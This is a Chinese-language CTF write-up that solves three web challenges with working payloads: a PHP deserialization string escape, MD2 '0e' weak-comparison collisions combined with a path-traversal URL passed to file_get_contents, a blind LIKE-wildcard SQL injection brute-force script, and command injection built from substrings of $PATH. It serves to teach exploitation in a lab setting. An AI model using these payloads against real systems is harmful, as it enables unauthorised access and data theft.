web1_此夜圆
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| <?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
|
emm 咋一看给我黑到了，不知道怎么入手了，仔细回想了一下逃逸字符的漏洞原理不就是绕过serialize嘛,这里每次会多两个字符
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| <?php
class a{
public $uname='1';
public $password='yu22x';
}
echo serialize(new a());
//O:1:"a":2:{s:5:"uname";s:1:"1";s:8:"password";s:5:"yu22x";}
|
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| print(len('";s:8:"password";s:5:"yu22x";}'))
# 30
|
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| print(15*"Firebasky"+'";s:8:"password";s:5:"yu22x";}')
|
直接打通
web2_故人心
扫描出来有个robots.txt
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| User=agent: *
Disallow:
Disallow: hinthint.txt
然后访问得到
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
|
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| <?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了！';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
|
第一层向下溢出绕过，第二层的话是个弱比较写个脚本绕过
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| <?php
for($i=0;$i<9999;$i++){
$b='0e'.$i.'024452';
if($b==hash("md2",$b)){
echo $b;
break;
}
}
echo "\n";
for($j=0;$j<9999;$j++){
$c='0e'.$j.'48399';
if($c==hash("md2",hash("md2", $c))){
echo $c;
break;
}
}
/*
0e652024452
0e603448399
|
filter_var这个漏洞也是很好绕过的(后面发现根本不用绕过)
然后先随便下载输个url结果给我重定向了，并且还给了提示
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| <?php
$flag="flag in /fl0g.txt";
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| ?a=1e-200&b=0e652024452&c=0e603448399
POST:
url=wo://ctfshow.com/../../../../../fl0g.txt
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web3_莫负婵娟
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| <!--注意：正式上线请删除注释内容！ -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
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like注入我们可以匹配出密码的位数
在 LIKE 中，常用的通配符有两种：
%：表示匹配任意长度的任意字符（包括零个字符）。_：表示匹配单个任意字符。
所以我们还是写个脚本
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| import requests
url="http://1f701f35-a402-4f51-a2c9-5967cea01f50.challenge.ctf.show/login.php"
j='_'
for i in range(50):
data={'username':'yu22x','password':j}
r=requests.post(url=url,data=data)
if "wrong username or password" in r.text:
j+='_'
else:
print(len(j))
break
# 32
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那我们写个脚本来爆破
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| import requests
import string
str=string.digits+string.ascii_letters
url="http://1f701f35-a402-4f51-a2c9-5967cea01f50.challenge.ctf.show/login.php"
target=""
for i in range(32):
for j in str:
password=target+j+(31-i)*'_'
data={'username':'yu22x','password':password}
r=requests.post(url=url,data=data)
if 'wrong username or password' not in r.text:
target+=j
print("\r"+target,end="")
break
# 67815b0c009ee970fe4014abaa3Fa6A0
|
欧克进入一个RCE页面了
fuzz一下发现挺多东西被禁了，但是大写字母没有这里我们直接环境变量RCE即可
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| 127.0.0.1;${PATH:5:1}${PATH:2:1}
*被过滤，用?
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
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然后没有回显换到bp里面发包就可以了